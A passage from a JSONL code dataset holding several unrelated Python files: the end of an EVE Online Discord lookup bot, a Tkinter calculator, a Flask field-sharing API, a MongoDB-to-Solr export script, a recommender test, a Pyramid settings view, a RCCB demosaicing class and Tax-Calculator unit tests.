zkb_kills_json[0][\"killmail_id\"]\r\n response += (\"Last loss:\\n\")\r\n response += (f\"https://zkillboard.com/kill/{last_loss_id_0}/\") + \"\\n\"\r\n else:\r\n return\r\n corp_history = []\r\n i = len(evewho_json_response['history']) - 1\r\n while len(corp_history) < 10:\r\n corpid = evewho_json_response['history'][i]['corporation_id']\r\n try:\r\n corp_history.append(corpid)\r\n i -= 1\r\n except:\r\n return\r\n response += (\"\\nCorporate History: (up to last ten corps displayed)\\n\")\r\n for entity in corp_history:\r\n corp_name_get_url = \"https://esi.evetech.net/latest/corporations/\" + str(entity) + \"/?datasource=tranquility\"\r\n corp_name_response = requests.get(corp_name_get_url)\r\n corp_name_json_response = corp_name_response.json()\r\n corp_name = corp_name_json_response[\"name\"]\r\n corp_print = \"Character was in: \" + str(corp_name)\r\n \r\n try:\r\n alice_id = corp_name_json_response[\"alliance_id\"]\r\n alice_name_get_url = \"https://esi.evetech.net/latest/alliances/\" + str(alice_id) + \"/?datasource=tranquility\"\r\n alice_name_response = requests.get(alice_name_get_url)\r\n alice_name_json_response = alice_name_response.json()\r\n corp_print += \" which is a member of \" + str(alice_name_json_response[\"name\"])\r\n response += (corp_print) + \"\\n\"\r\n except:\r\n response += (corp_print) + \"\\n\"\r\n \r\n \r\n \r\n #response += (str(entity))\r\n\r\n await ctx.send(response)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n############################################\r\n#code goes above here\r\n############################################\r\nbot.run(token)\r\n\r\n","sub_path":"botpporojones.py","file_name":"botpporojones.py","file_ext":"py","file_size_in_byte":19377,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"324257547","text":"#!/bin/python\nfrom Tkinter import *\nfrom tkMessageBox import *\n\noperation = { \" + \": 0, \" / \": 0, \" * \": 0, \" - \": 0 }\n\ndef is_negative(number):\n if number < 0:\n return True\n\n# Define the results based on different user inputs\ndef set_addition_result(number1,number2):\n global operation\n operation[\" + \"] = number1 + number2\n\ndef set_subtraction_result(number1,number2):\n global operation\n operation[\" - \"] = number1 - number2\n\ndef set_multiplication_result(number1,number2):\n global operation\n operation[\" * \"] = number1 * number2\n\ndef set_division_result(number1,number2):\n global operation\n operation[\" / \"] = number1 / number2\n\ndef callback():\n global e1\n global e2\n if e1.get() == \"\" or e2.get() == \"\":\n showerror(\"ERROR\", \"You have to enter something!\") \n else:\n try:\n input_number1 = int(e1.get())\n input_number2 = int(e2.get())\n except ValueError:\n showerror(\"ERROR\", \"You should enter number\")\n root.destroy()\n if is_negative(input_number1) or is_negative(input_number2):\n showerror(\"ERROR\", \"You have to enter positive number!\")\n #root.destroy()\n else:\n set_addition_result(input_number1,input_number2)\n set_subtraction_result(input_number1,input_number2)\n set_multiplication_result(input_number1,input_number2)\n set_division_result(input_number1,input_number2)\n output = \"\"\n for key, value in operation.items():\n output += str(input_number1) + key + str(input_number2) + \" = \" + str(value) + \"\\n\"\n showinfo(\"Result\", output)\n\nroot = Tk()\nl1 = Label(root,text = \"First number\")\nl1.grid(row = 0, column = 0)\ne1 = Entry(root)\ne1.grid(row = 0, column = 1)\nl2=Label(root, text = \"Second number\")\nl2.grid(row = 1, column = 0)\ne2 = Entry(root)\ne2.grid(row = 1, column = 1)\nButton(root, text = \"Show result\", command = callback).grid(row = 2, column = 1)\nroot.mainloop()","sub_path":"python/exercise5/gui_simple_math.py","file_name":"gui_simple_math.py","file_ext":"py","file_size_in_byte":2018,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"582864484","text":"\"\"\"\nShareField resource API\n\"\"\"\nfrom flask_login import login_required, current_user\nfrom werkzeug.exceptions import BadRequest\nfrom flask import request, jsonify, Response\nfrom flask_restx import Resource, fields\n\nfrom app import API\nfrom app.services import SharedFieldService\nfrom app.services import UserService, FieldService\nfrom app.celery_tasks.share_field import call_share_field_task\nfrom app.helper.errors import SharedFieldNotCreated\n\nSHARED_FIELD_NS = API.namespace('shared_fields')\nSHARE_FIELD_MODEL = API.model('ShareField', {\n 'recipients': fields.List(fields.String),\n 'fieldId': fields.Integer})\n\n\n@SHARED_FIELD_NS.route(\"/\")\nclass ShareFieldsAPI(Resource):\n \"\"\"\n SharedFields API\n\n url: '/shared_fields/'\n methods: get, post\n \"\"\"\n\n @API.doc(\n responses={\n 201: 'Created',\n 400: 'Invalid data',\n 401: 'Unauthorized',\n }\n )\n @API.expect(SHARE_FIELD_MODEL)\n @login_required\n #pylint: disable=no-self-use\n def post(self):\n \"\"\"\n Share field to a list of users\n \"\"\"\n data = request.json\n is_correct, errors = SharedFieldService.validate_post_data(data=data)\n if not is_correct:\n raise BadRequest(errors)\n emails = data['recipients']\n users = []\n\n for email in emails:\n user = UserService.get_by_email(email=email)\n if user is None or not user.is_active:\n raise BadRequest(\"Can't share field to nonexistent or inactive users\")\n if user.id == current_user.id:\n raise BadRequest(\"Can't share field with yourself\")\n users.append(user)\n\n field = FieldService.get_by_id(\n field_id=data['fieldId']\n )\n if field is None:\n raise BadRequest(\"Field doesn't exist\")\n if field.owner_id != current_user.id:\n raise BadRequest(\"Can't share field that doesn't belong to you\")\n\n shared_fields = []\n\n for user in users:\n shared_field_instance = SharedFieldService.get_by_user_and_field(\n user_id=user.id,\n field_id=field.id\n )\n if shared_field_instance is not None:\n raise BadRequest(\"Can't share field twice\")\n shared_field = SharedFieldService.create(\n user_id=user.id,\n field_id=field.id,\n owner_id=current_user.id\n )\n if shared_field is None:\n raise SharedFieldNotCreated()\n shared_fields.append(shared_field)\n\n field_json = FieldService.field_to_json(\n data=field,\n many=False\n )\n shared_fields_json = SharedFieldService.response_to_json(\n data=shared_fields,\n many=True\n )\n\n call_share_field_task(\n recipients=emails,\n field=field_json\n )\n\n response = jsonify({\"sharedFields\": shared_fields_json})\n response.status_code = 201\n return response\n\n @API.doc(\n responses={\n 200: 'OK',\n 401: 'Unauthorized',\n }\n )\n @login_required\n #pylint: disable=no-self-use\n def get(self):\n \"\"\"\n Get all fields that were shared by given user\n \"\"\"\n shared_fields = SharedFieldService.filter(\n owner_id=current_user.id\n )\n shared_fields_json = SharedFieldService.response_to_json(\n data=shared_fields,\n many=True\n )\n response = jsonify({'sharedFields': shared_fields_json})\n response.status_code = 200\n return response\n\n\n@SHARED_FIELD_NS.route(\"//user/\")\nclass SharedFieldAPI(Resource):\n \"\"\"\n SharedField API\n\n url: '/shared_fields/{field_id}/user/{user_id}'\n methods: get, delete\n \"\"\"\n\n @API.doc(\n responses={\n 200: 'OK',\n 400: 'Invalid data'\n }, params={\n 'field_id': 'Specify the id of the field you shared',\n 'user_id': 'Specify the id of the user to whom you shared the field to'\n }\n )\n @login_required\n #pylint: disable=no-self-use\n def get(self, field_id, user_id):\n \"\"\"\n Get shared field by field id\n \"\"\"\n field = FieldService.get_by_id(field_id)\n if field is None:\n raise BadRequest(\"No such field\")\n user = UserService.get_by_id(user_id)\n if user is None:\n raise BadRequest(\"No such user\")\n shared_field = SharedFieldService.get_by_user_and_field(\n user_id=user_id,\n field_id=field_id\n )\n if shared_field is None:\n raise BadRequest(\"It seems like you haven't shared this field with that user yet\")\n shared_field_json = SharedFieldService.response_to_json(\n data=shared_field,\n many=False\n )\n response = jsonify(shared_field_json)\n response.status_code = 200\n return response\n\n @API.doc(\n responses={\n 204: 'No content',\n 400: 'Invalid syntax',\n 401: 'Unauthorized',\n 403: 'Forbidden deletion',\n },\n params={\n 'field_id': 'ID of the shared field',\n 'user_id': 'ID of the user the field was shared to'\n }\n )\n #pylint: disable=no-self-use\n def delete(self, field_id, user_id):\n \"\"\"\n Unshare certain field from a certain user\n\n :param field_id: ID of the shared field\n :param user_id: ID of the user the field was shared to\n \"\"\"\n field = FieldService.get_by_id(field_id)\n if field is None:\n raise BadRequest(\"Can't unshare field that doesn't exist\")\n if field.owner_id != current_user.id:\n raise BadRequest(\"Can't unshare field that doesn't belong to you\")\n shared_field = SharedFieldService.get_by_user_and_field(\n user_id=user_id,\n field_id=field_id\n )\n if shared_field is None:\n raise BadRequest(\"Can't unshare, instance doesn't exist\")\n\n is_deleted = bool(SharedFieldService.delete(shared_field.id))\n if not is_deleted:\n raise BadRequest(\"Failed to unshare\")\n return Response(status=204)\n","sub_path":"src/app/routers/shared_field.py","file_name":"shared_field.py","file_ext":"py","file_size_in_byte":6324,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"236760989","text":"from pymongo import MongoClient\nfrom bson.objectid import ObjectId\nimport re\nimport sys\nimport configparser\n\nconfig = configparser.ConfigParser()\nconfig.read('config.ini', encoding='utf-8-sig')\n\nmongoIP = config['DEFAULT']['mongoIP']\nmongoPort = int(config['DEFAULT']['mongoPort'])\nmongoDB = config['DEFAULT']['mongoDB']\narticle_collection = config['DEFAULT']['article_collection']\nimage_collection = config['DEFAULT']['image_collection']\nsolr_collection = config['DEFAULT']['solr_collection']\n\n\nclient = MongoClient(mongoIP, mongoPort)\ndb = client[mongoDB]\nimageCollection = db[image_collection]\narticleCollection = db[article_collection]\ntarget_col = db[solr_collection]\nimagecount = 0\ni_skipped = 0\n\nfindings = imageCollection.find({})\n\nfor f in findings:\n DOI = f['DOI']\n source = f['sourceID']\n URL = f['URL']\n findingID = f['findingID']\n CAPTION = f['captionBody']\n\n article = articleCollection.find_one({\"_id\": ObjectId(source)})\n journalName = str(article['journalName'])\n pathJournalName = str(article['journalName']).replace(' ', '_')\n year = article['year']\n Dumb_DOI = str(DOI).replace('/', '_')\n publisher = str(article['source'])\n path = str(publisher) + '/' + str(pathJournalName) + '/' + str(year) + '/' + str(Dumb_DOI) + '/'\n root = \"images/\"\n path2 = root + path\n imagecount += 1\n DOI = str(Dumb_DOI).replace('_', '/')\n try:\n document = {\"journalName\": journalName,\n \"year\": year,\n \"DOI\": DOI,\n \"title\": article['title'],\n \"authors\": article['authors'],\n \"URL\": f['URL'],\n \"TIB_URL\": root + path + str(findingID) + \".jpg\",\n \"captionBody\": f['captionBody'],\n \"captionTitle\": f['captionTitle'],\n \"copyrightFlag\": f['copyrightFlag'],\n \"license\": article['license'],\n \"licenseType\": f['licenseType'],\n \"discipline\": article['discipline'],\n \"imageType\": f['imageType'],\n \"publicationDate\": article['publicationDate']\n }\n if 'acronym' in f:\n document['acronym'] = f['acronym']\n if 'wpcats' in f:\n document['wpcats'] = f['wpcats']\n if 'wmcat' in f:\n document['wmcat'] = f['wmcat']\n if 'DownloadError:' not in f:\n target_col.insert_one(document)\n else:\n i_skipped+=1\n print(\"Error skipped #\"+str(i_skipped))\n except:\n print(\"An exception ocurred with image: \" + URL)\nprint(\"end\")\nprint(imagecount, \"Images added to\", solr_collection)\n","sub_path":"CreateSolrDB/CreateSolrDB.py","file_name":"CreateSolrDB.py","file_ext":"py","file_size_in_byte":2698,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"135464161","text":"from MovieLens import MovieLens\r\nfrom ContentKNNAlgorithm import ContentKNNAlgorithm\r\nfrom HybridAlgorithm import HybridAlgorithm\r\nfrom surprise import KNNBasic\r\nfrom Evaluator import Evaluator\r\n\r\nimport random\r\nimport numpy as np\r\n\r\ndef LoadMovieLensData():\r\n ml = MovieLens()\r\n print(\"Loading movie ratings...\")\r\n data = ml.loadMovieLensLatestSmall()\r\n print(\"\\nComputing movie popularity ranks so we can measure novelty later...\")\r\n rankings = ml.getPopularityRanks()\r\n return (ml, data, rankings)\r\n\r\nnp.random.seed(0)\r\nrandom.seed(0)\r\n\r\n# Load up common data set for the recommender algorithms\r\n(ml, evaluationData, rankings) = LoadMovieLensData()\r\n\r\n# Construct an Evaluator to, you know, evaluate them\r\nevaluator = Evaluator(evaluationData, rankings)\r\n\r\n#Content\r\nContentKNN = ContentKNNAlgorithm()\r\n\r\n# User-based KNN\r\nUserKNN = KNNBasic(sim_options = {'name': 'cosine', 'user_based': True})\r\n\r\n#Combine them\r\nHybrid = HybridAlgorithm([UserKNN, ContentKNN], [0.5, 0.5])\r\n\r\nevaluator.AddAlgorithm(UserKNN, \"User Based CF\")\r\nevaluator.AddAlgorithm(ContentKNN, \"Content KNN\")\r\nevaluator.AddAlgorithm(Hybrid, \"Hybrid\")\r\n\r\n# Fight!\r\nevaluator.Evaluate(False)\r\n\r\nevaluator.SampleTopNRecs(ml)\r\n","sub_path":"HybridTest.py","file_name":"HybridTest.py","file_ext":"py","file_size_in_byte":1212,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"614937298","text":"from deform import Form, ValidationFailure\nfrom pyramid.httpexceptions import HTTPFound\nfrom pyramid.view import view_config\n\nfrom app.forms.setting import SettingsFormUpdate\nfrom app.models.setting import SettingModel\n\n\nclass SettingView(object):\n pt = 'app:templates/setting/{}.pt'\n\n def __init__(self, request):\n settings = request.dbsession.query(SettingModel).all()\n appstruct = [s.as_dict() for s in settings]\n form_schema = SettingsFormUpdate().bind(request=request)\n form_appstruct = {'settings': appstruct}\n form_action = request.route_path('settings')\n form_buttons = ('update', )\n form = Form(form_schema,\n appstruct=form_appstruct,\n action=form_action,\n buttons=form_buttons)\n\n self.request = request\n self.settings = settings\n self.form_action = form_action\n self.form = form\n\n @view_config(route_name='settings',\n request_method='GET',\n permission='admin',\n renderer=pt.format('index'))\n def index(self):\n form = self.form\n return {'form': form}\n\n @view_config(route_name='settings',\n request_method='POST',\n request_param='update',\n permission='admin',\n renderer=pt.format('index'))\n def update(self):\n request = self.request\n settings = self.settings\n form = self.form\n redirect_path = self.form_action\n\n try:\n form_controls = request.POST.items()\n validate_appstruct = form.validate(form_controls)\n settings_appstruct = validate_appstruct.get('settings')\n\n model_ids = [s.id for s in settings]\n form_ids = [sa.get('id') for sa in settings_appstruct]\n\n update_ids = list(set(model_ids) & set(form_ids))\n\n if update_ids:\n for setting in settings:\n if setting.id in update_ids:\n appstruct = {sa.get('id'): sa\n for sa in settings_appstruct\n if sa.get('id') in update_ids}\n\n [setattr(setting, k, v)\n for k, v in appstruct.get(setting.id).items()]\n\n delete_ids = list(set(model_ids) - set(form_ids))\n\n if delete_ids:\n [request.dbsession.delete(setting)\n for setting in settings if setting.id in delete_ids]\n\n new_appstruct = [sa\n for sa in settings_appstruct\n if 'id' not in sa.keys()]\n new_settings = [SettingModel(**na) for na in new_appstruct]\n request.dbsession.add_all(new_settings)\n\n message = 'Update successful!'\n request.session.flash(message)\n\n return HTTPFound(location=redirect_path)\n\n except ValidationFailure as form_error:\n return {'form': form_error}\n","sub_path":"py/alchemified/app/app/views/setting.py","file_name":"setting.py","file_ext":"py","file_size_in_byte":3037,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"493440020","text":"from scipy import signal\nimport numpy as np\nimport cv2 as cv\n\nclass IspyDemosaic :\n\n def __init__( self, demosaic_name='kernel5x5', linear_range=(0,1<<20) ) :\n\n self.demosaic_name = demosaic_name\n self.linear_min = linear_range[0]\n self.linear_max = linear_range[1]\n\n def demosaic(self, active_image ) :\n\n if self.demosaic_name == 'kron' :\n return self.demosaic_kron( active_image )\n\n elif self.demosaic_name == 'kernel5x5' :\n return self.demosaic_kernel5x5( active_image )\n\n elif self.demosaic_name == 'opencv' :\n return self.demosaic_opencv( active_image )\n\n else :\n raise ValueError(\"Unexpected demosaic type!\")\n\n # Simplest demosaic\n # .. pick out Red, Clear, Blue pixels and scale up\n # .. i.e. straightforward subsample\n #\n # Assumes CFA:\n # Cr R\n # B Cb\n #\n def demosaic_kron( self, active_image ) :\n image_height, image_width = np.shape(active_image)\n rcb_image = np.zeros((image_height, image_width, 3),active_image.dtype)\n\n # Pick out sub-sampled image from the four quadrants\n q_cr = active_image[0::2,0::2] # top left\n q_r = active_image[0::2,1::2] # top right\n q_b = active_image[1::2,0::2] # bot left\n q_cb = active_image[1::2,1::2] # bot right\n\n # Scale factor\n kscale = np.ones( (2,2), dtype=active_image.dtype )\n\n # Red\n red_image = np.kron( q_r, kscale )\n\n # Blue\n blue_image = np.kron( q_b, kscale )\n\n # Clear\n q_c = ((q_cr.astype('int') + q_cb.astype('int')) >> 1).astype(active_image.dtype)\n clear_image = np.kron( q_c, kscale )\n\n # Combine planes\n rcb_image[:,:,0] = red_image # R\n rcb_image[:,:,1] = clear_image # C\n rcb_image[:,:,2] = blue_image # B\n\n return rcb_image\n\n # OpenCV conversion\n # .. comes out as ( 960, 1280, 3 )\n def demosaic_opencv( self, active_image ) :\n assert( active_image.dtype == 'uint8' or active_image.dtype == 'uint16' or active_image.dtype == 'float' )\n return cv.cvtColor( active_image, cv.COLOR_BAYER_GB2RGB )\n\n # Apply convolutional kernels for each of R,G,B \n # .. for each position in the CFA\n # \n def demosaic_kernel5x5( self, active_image ) :\n\n # Based on the paper:\n #\n # HIGH-QUALITY LINEAR INTERPOLATION FOR DEMOSAICING OF BAYER-PATTERNED COLOR IMAGES\n # Henrique S. Malvar, Li-wei He, and Ross Cutler\n # Microsoft Research\n # One Microsoft Way, Redmond, WA 98052, USA\n #\n # Appears to produce much crisper outputs than the OpenCV demosaic\n # .. but it's much slower to run\n #\n\n # Initialize kernels\n fk = np.zeros((3,4,5,5),dtype=float)\n\n # Planes\n PR = 0\n PC = 1\n PB = 2\n\n # Rows\n XCR = 0\n XR = 1\n XB = 2\n XCB = 3\n\n # RCCB\n # Clear at Red\n fk[PC,XR,:,:] = np.array([\n [ 0, 0, -1, 0, 0, ],\n [ 0, 0, 2, 0, 0, ],\n [ -1, 2, 4, 2, -1, ],\n [ 0, 0, 2, 0, 0, ],\n [ 0, 0, -1, 0, 0, ]])\n\n # Clear at Blue\n fk[PC,XB,:,:] = np.array([\n [ 0, 0, -1, 0, 0, ],\n [ 0, 0, 2, 0, 0, ],\n [ -1, 2, 4, 2, -1, ],\n [ 0, 0, 2, 0, 0, ],\n [ 0, 0, -1, 0, 0, ]])\n\n # Clear at Cr\n fk[PC,XCR,:,:] = np.array([\n [ 0, 0, 0, 0, 0, ],\n [ 0, 0, 0, 0, 0, ],\n [ 0, 0, 1, 0, 0, ],\n [ 0, 0, 0, 0, 0, ],\n [ 0, 0, 0, 0, 0, ]])\n\n # Clear at Cb\n fk[PC,XCB,:,:] = np.array([\n [ 0, 0, 0, 0, 0, ],\n [ 0, 0, 0, 0, 0, ],\n [ 0, 0, 1, 0, 0, ],\n [ 0, 0, 0, 0, 0, ],\n [ 0, 0, 0, 0, 0, ]])\n\n # ----------------------------------------------------------------------------------------------------\n # Filters for red output\n #\n # Red at Red\n fk[PR,XR,:,:] = np.array([\n [ 0, 0, 0, 0, 0, ],\n [ 0, 0, 0, 0, 0, ],\n [ 0, 0, 1, 0, 0, ],\n [ 0, 0, 0, 0, 0, ],\n [ 0, 0, 0, 0, 0, ]])\n\n # Red at Blue\n fk[PR,XB,:,:] = np.array([\n [ 0, 0, -3/2, 0, 0, ],\n [ 0, 2, 0, 2, 0, ],\n [-3/2, 0, 6, 0, -3/2 ],\n [ 0, 2, 0, 2, 0, ],\n [ 0, 0, -3/2, 0, 0, ]])\n\n # Red at Cr\n fk[PR,XCR,:,:] = np.array([\n [ 0, 0, 0.5, 0, 0, ],\n [ 0, -1, 0, -1, 0, ],\n [ -1, 4, 5, 4, -1, ],\n [ 0, -1, 0, -1, 0, ],\n [ 0, 0, 0.5, 0, 0, ]])\n\n # Red at Cb\n fk[PR,XCB,:,:] = np.array([\n [ 0, 0, -1, 0, 0, ],\n [ 0, -1, 4, -1, 0, ],\n [ 0.5, 0, 5, 0, 0.5 ],\n [ 0, -1, 4, -1, 0, ],\n [ 0, 0, -1, 0, 0, ]])\n\n # ----------------------------------------------------------------------------------------------------\n # Filters for blue output\n\n # Blue at Red\n fk[PB,XR,:,:] = np.array([\n [ 0, 0, -3/2, 0, 0, ],\n [ 0, 2, 0, 2, 0, ],\n [ -3/2, 0, 6, 0, -3/2 ],\n [ 0, 2, 0, 2, 0, ],\n [ 0, 0, -3/2, 0, 0, ]])\n\n # Blue at Blue\n fk[PB,XB,:,:] = np.array([\n [ 0, 0, 0, 0, 0, ],\n [ 0, 0, 0, 0, 0, ],\n [ 0, 0, 1, 0, 0, ],\n [ 0, 0, 0, 0, 0, ],\n [ 0, 0, 0, 0, 0, ]])\n\n # Blue at Cr\n fk[PB,XCR,:,:] = np.array([\n [ 0, 0, -1, 0, 0, ],\n [ 0, -1, 4, -1, 0, ],\n [ 0.5, 0, 5, 0, 0.5 ],\n [ 0, -1, 4, -1, 0, ],\n [ 0, 0, -1, 0, 0, ]])\n\n # Blue at Cb\n fk[PB,XCB,:,:] = np.array([\n [ 0, 0, 0.5, 0, 0, ],\n [ 0, -1, 0, -1, 0, ],\n [ -1, 4, 5, 4, -1 ],\n [ 0, -1, 0, -1, 0, ],\n [ 0, 0, 0.5, 0, 0, ]])\n\n # Output image\n img_h, img_w = np.shape( active_image )\n dm_image = np.zeros((img_h, img_w, 3),dtype=float)\n vmax = np.float((1<<16)-1)\n\n # Generate Red, Clear, Blue planes\n for plane in range(0,3) :\n for pixel in range(0,4) :\n\n # Kernel for 2d convolution\n kernel_pre_norm = fk[plane,pixel,:,:]\n kernel_sum = np.sum(kernel_pre_norm)\n kernel = kernel_pre_norm / kernel_sum\n\n # Don't bother with kernel for Red at Red, Blue at Blue etc..\n if kernel_sum == 1 :\n p = active_image\n\n # Apply to input plane\n # .. ideally convolve2d would allow a stride of 2 in each dimension\n # .. would reduce compute by 4x\n else : \n p = signal.convolve2d( active_image, kernel, boundary='symm', mode='same' )\n p = np.clip( p, 0.0, vmax )\n\n # Pick out required outputs\n # .. this is where the stride of 2 would help\n # Cr\n if pixel == 0 :\n dm_image[0::2,0::2,plane] = p[0::2,0::2]\n # R\n elif pixel == 1 :\n dm_image[0::2,1::2,plane] = p[0::2,1::2]\n # B\n elif pixel == 2 :\n dm_image[1::2,0::2,plane] = p[1::2,0::2]\n # Cb\n elif pixel == 3 :\n dm_image[1::2,1::2,plane] = p[1::2,1::2]\n\n return dm_image.astype(active_image.dtype)\n\n","sub_path":"ispy_demosaic.py","file_name":"ispy_demosaic.py","file_ext":"py","file_size_in_byte":8037,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"46199266","text":"\"\"\"\nTests of Tax-Calculator utility functions.\n\"\"\"\n# CODING-STYLE CHECKS:\n# pep8 --ignore=E402 test_utils.py\n# pylint --disable=locally-disabled test_utils.py\n#\n# pylint: disable=missing-docstring,no-member,protected-access\n\nimport os\nimport math\nimport random\nimport numpy as np\nimport pandas as pd\nimport pytest\n# pylint: disable=import-error\nfrom taxcalc import Policy, Records, Behavior, Calculator\nfrom taxcalc.utils import (STATS_COLUMNS,\n DIST_TABLE_COLUMNS, DIST_TABLE_LABELS,\n DIFF_TABLE_COLUMNS, DIFF_TABLE_LABELS,\n create_distribution_table, create_difference_table,\n weighted_count_lt_zero, weighted_count_gt_zero,\n weighted_count, weighted_sum, weighted_mean,\n wage_weighted, agi_weighted,\n expanded_income_weighted,\n weighted_perc_inc, weighted_perc_cut,\n add_income_bins, add_quantile_bins,\n multiyear_diagnostic_table,\n mtr_graph_data, atr_graph_data,\n dec_graph_data, dec_graph_plot,\n xtr_graph_plot, write_graph_file,\n read_egg_csv, read_egg_json, delete_file,\n bootstrap_se_ci,\n certainty_equivalent, ce_aftertax_income)\n\n\nDATA = [[1.0, 2, 'a'],\n [-1.0, 4, 'a'],\n [3.0, 6, 'a'],\n [2.0, 4, 'b'],\n [3.0, 6, 'b']]\n\nWEIGHT_DATA = [[1.0, 2.0, 10.0],\n [2.0, 4.0, 20.0],\n [3.0, 6.0, 30.0]]\n\nDATA_FLOAT = [[1.0, 2, 'a'],\n [-1.0, 4, 'a'],\n [0.0000000001, 3, 'a'],\n [-0.0000000001, 1, 'a'],\n [3.0, 6, 'a'],\n [2.0, 4, 'b'],\n [0.0000000001, 3, 'b'],\n [-0.0000000001, 1, 'b'],\n [3.0, 6, 'b']]\n\n\ndef test_validity_of_name_lists():\n assert len(DIST_TABLE_COLUMNS) == len(DIST_TABLE_LABELS)\n assert set(STATS_COLUMNS).issubset(Records.CALCULATED_VARS | {'s006'})\n\n\ndef test_create_tables(cps_subsample):\n # pylint: disable=too-many-statements\n # create a current-law Policy object and Calculator object calc1\n rec = Records.cps_constructor(data=cps_subsample)\n pol = Policy()\n calc1 = Calculator(policy=pol, records=rec)\n calc1.calc_all()\n # create a policy-reform Policy object and Calculator object calc2\n reform = {2013: {'_II_rt1': [0.15]}}\n pol.implement_reform(reform)\n calc2 = Calculator(policy=pol, records=rec)\n calc2.calc_all()\n\n # test creating various difference tables\n\n diff = create_difference_table(calc1.records, calc2.records,\n groupby='large_income_bins',\n income_measure='expanded_income',\n tax_to_diff='combined')\n assert isinstance(diff, pd.DataFrame)\n expected = [0.00,\n 0.01,\n 0.41,\n 0.84,\n 0.92,\n 1.10,\n 1.15,\n 1.04,\n 0.78,\n 0.27,\n np.nan]\n assert np.allclose(diff['perc_aftertax'], expected,\n atol=0.005, rtol=0.0, equal_nan=True)\n\n diff = create_difference_table(calc1.records, calc2.records,\n groupby='webapp_income_bins',\n income_measure='expanded_income',\n tax_to_diff='iitax')\n assert isinstance(diff, pd.DataFrame)\n expected = [0.00,\n 0.01,\n 0.41,\n 0.84,\n 0.92,\n 1.10,\n 1.15,\n 1.04,\n 0.78,\n 0.30,\n 0.08,\n 0.07,\n np.nan]\n assert np.allclose(diff['perc_aftertax'], expected,\n atol=0.005, rtol=0.0, equal_nan=True)\n\n diff = create_difference_table(calc1.records, calc2.records,\n groupby='small_income_bins',\n income_measure='expanded_income',\n tax_to_diff='iitax')\n assert isinstance(diff, pd.DataFrame)\n expected = [0.00,\n 0.01,\n 0.02,\n 0.16,\n 0.64,\n 0.82,\n 0.87,\n 0.92,\n 1.10,\n 1.15,\n 1.04,\n 0.78,\n 0.30,\n 0.08,\n 0.09,\n 0.07,\n 0.05,\n 0.02,\n 0.00,\n np.nan]\n assert np.allclose(diff['perc_aftertax'], expected,\n atol=0.005, rtol=0.0, equal_nan=True)\n\n diff = create_difference_table(calc1.records, calc2.records,\n groupby='weighted_deciles',\n income_measure='expanded_income',\n tax_to_diff='combined')\n assert isinstance(diff, pd.DataFrame)\n expected = [14931,\n 276555,\n 7728872,\n 22552703,\n 34008512,\n 50233787,\n 76811377,\n 111167087,\n 123226970,\n 111414038,\n 537434832,\n 66560891,\n 39571078,\n 5282069]\n assert np.allclose(diff['tot_change'], expected,\n atol=0.5, rtol=0.0)\n expected = [0.00,\n 0.05,\n 1.44,\n 4.20,\n 6.33,\n 9.35,\n 14.29,\n 20.68,\n 22.93,\n 20.73,\n 100.00,\n 12.38,\n 7.36,\n 0.98]\n assert np.allclose(diff['share_of_change'], expected,\n atol=0.005, rtol=0.0)\n expected = [0.00,\n 0.02,\n 0.35,\n 0.79,\n 0.89,\n 0.97,\n 1.11,\n 1.18,\n 0.91,\n 0.50,\n np.nan,\n 0.70,\n 0.37,\n 0.06]\n assert np.allclose(diff['perc_aftertax'], expected,\n atol=0.005, rtol=0.0, equal_nan=True)\n expected = [-0.00,\n -0.02,\n -0.35,\n -0.79,\n -0.89,\n -0.97,\n -1.11,\n -1.18,\n -0.91,\n -0.50,\n np.nan,\n -0.70,\n -0.37,\n -0.06]\n assert np.allclose(diff['pc_aftertaxinc'], expected,\n atol=0.005, rtol=0.0, equal_nan=True)\n\n with pytest.raises(ValueError):\n create_difference_table(calc1.records, calc2.records,\n groupby='bad_bins',\n income_measure='expanded_income',\n tax_to_diff='iitax')\n\n # test creating various distribution tables\n\n dist = create_distribution_table(calc2.records,\n groupby='weighted_deciles',\n income_measure='expanded_income',\n result_type='weighted_sum')\n assert isinstance(dist, pd.DataFrame)\n\n expected = [-8851215,\n -99666120,\n -123316561,\n -85895787,\n -47357458,\n 207462144,\n 443391189,\n 978487989,\n 1709504845,\n 7631268907,\n 10605027933,\n 4171055704,\n 2751003155,\n 709210048]\n assert np.allclose(dist['iitax'], expected,\n atol=0.5, rtol=0.0)\n expected = [1202,\n 1688,\n 13506,\n 18019,\n 30130,\n 48244,\n 80994,\n 112788,\n 131260,\n 146001,\n 583832,\n 75279,\n 56819,\n 13903]\n assert np.allclose(dist['num_returns_ItemDed'].tolist(), expected,\n atol=0.5, rtol=0.0)\n expected = [158456013,\n 1351981790,\n 2383726863,\n 3408544081,\n 4569232020,\n 6321944661,\n 8520304098,\n 11817197884,\n 17299173380,\n 41117720202,\n 96948280992,\n 21687950798,\n 15093608351,\n 4336161053]\n assert np.allclose(dist['expanded_income'].tolist(), expected,\n atol=0.5, rtol=0.0)\n expected = [147367698,\n 1354827269,\n 2351611947,\n 3192405234,\n 4157431713,\n 5454468907,\n 7125788590,\n 9335613303,\n 13417244946,\n 29691084873,\n 76227844481,\n 15608893056,\n 10854804442,\n 3227387375]\n assert np.allclose(dist['aftertax_income'].tolist(), expected,\n atol=0.5, rtol=0.0)\n\n dist = create_distribution_table(calc2.records,\n groupby='webapp_income_bins',\n income_measure='expanded_income',\n result_type='weighted_sum')\n assert isinstance(dist, pd.DataFrame)\n expected = [-103274,\n -83144506,\n -152523834,\n -129881470,\n 85802556,\n 255480678,\n 832529135,\n 1066963515,\n 3023956558,\n 2876331264,\n 1008672459,\n 1820944852,\n 10605027933]\n assert np.allclose(dist['iitax'], expected,\n atol=0.5, rtol=0.0)\n expected = [0,\n 1202,\n 22654,\n 31665,\n 30547,\n 49851,\n 124786,\n 97349,\n 160147,\n 56806,\n 5803,\n 3023,\n 583832]\n assert np.allclose(dist['num_returns_ItemDed'].tolist(), expected,\n atol=0.5, rtol=0.0)\n\n 